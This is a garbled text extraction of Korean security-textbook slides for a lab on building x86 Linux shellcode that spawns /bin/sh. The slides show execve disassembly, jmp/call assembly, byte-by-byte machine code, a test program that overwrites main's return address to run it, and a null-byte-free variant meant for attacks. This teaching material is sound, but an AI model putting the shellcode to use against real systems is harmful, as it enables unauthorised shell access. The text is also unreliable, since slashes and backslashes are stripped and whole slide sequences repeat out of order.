실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 85: 80×86  시스템에 대한 이해

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 86: 80×86  시스템에 대한 이해

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 87: 80×86  시스템에 대한 이해

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

